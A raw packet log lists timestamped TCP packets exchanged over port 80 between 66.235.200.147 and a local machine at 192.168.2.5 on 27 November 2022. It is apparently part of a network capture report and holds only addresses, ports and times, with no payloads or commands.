Nov 27, 2022 04:36:42.965590954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965607882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965627909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965667009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965681076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965704918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965719938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965742111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965778112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965797901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965815067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965854883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965890884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965908051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965926886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965964079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.965980053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.965998888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966007948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966037035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966073036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966092110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966108084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966145039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966162920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966181993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966218948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966255903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966272116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966293097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966327906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966345072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966360092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966377020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966397047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966433048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966451883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966468096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966505051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966527939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966541052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966577053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966613054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966640949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966650009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966665030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966687918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966723919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966761112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966778040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966798067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966841936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966866970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966902971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966943026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966964006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.966979980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.966999054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967019081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967055082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967072010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967092991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967128992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967164993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967179060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967200041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967235088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967252016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967271090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967282057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967308044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967338085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967361927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967374086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967411995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967447996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967463970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967485905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967524052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967559099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967567921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967596054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967614889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967632055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967672110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967706919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967710972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967742920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967751026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967778921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967816114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967849016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967854023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967873096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967891932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967927933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.967962980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.967964888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968000889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968039036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968065977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968075037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968097925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968111992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968148947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968175888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968183994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968220949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968256950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968281031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968292952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968328953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968358040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968365908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968383074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968417883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968455076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968478918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968491077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968528032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968554974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968564987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968600988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968636036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968653917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968673944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968710899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968740940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968749046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968760967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968787909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968825102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968863010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968866110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968899012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968935966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.968956947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.968975067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969012022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969027996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969048023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969063044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969084978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969120026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969140053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969158888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969194889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969216108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969233036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969269991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969306946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969322920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969345093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969381094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969402075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969417095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969434977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969454050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969491005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969506979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969530106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969568968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969584942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969604969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969641924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969676018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969692945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969712019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969748974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969762087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969784021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969799995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969820976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969860077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969882011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.969897032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969934940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969969988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.969990015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970010996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970046997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970082045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970082998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970101118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970119953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970156908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970174074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970191956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970227957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970246077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970263958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970299006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970334053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970350027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970370054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970405102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970427036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970442057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970449924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970478058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970513105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970530987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970549107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970585108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970602989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970621109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970659018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970694065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970710039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970732927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970767021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970788956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970803976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970813990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970841885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970896006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970916986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.970937967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.970974922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.971003056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.971010923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.971049070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.971062899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.971086025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.971122026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.971173048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988298893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988367081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988392115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988415956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988428116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988442898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988462925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988470078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988496065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988519907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988523960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988545895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988570929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988581896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988595963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988611937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988621950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988647938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988656998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988672972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988699913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988723993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988732100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988742113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988760948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988779068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988802910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988828897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988842010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988853931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988881111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988882065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988898039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988909960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988936901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988961935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.988976002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.988986015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989010096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989032984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989038944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989038944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989057064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989080906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989084959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989104986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989129066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989145041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989168882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989187956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989193916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989239931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989375114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989401102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989427090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989451885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989475965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989479065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989501953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989511013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989526987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989552021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989562035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989569902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989593983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989618063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989624977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989640951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989659071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989666939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989675045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989692926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989720106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989721060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989747047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989770889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989795923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989797115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989821911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989836931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989846945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989873886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989900112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989907026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989926100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989939928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.989948988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.989984989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990151882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990178108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990201950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990225077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990230083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990256071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990257025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990282059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990308046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990330935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990346909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990355968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990365982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990381956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990406990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990432978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990432978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990452051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990458965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990483046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990506887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990530968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990539074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990555048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990564108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990580082 CET	80	49705	66.235.200.147	192.168.2.5
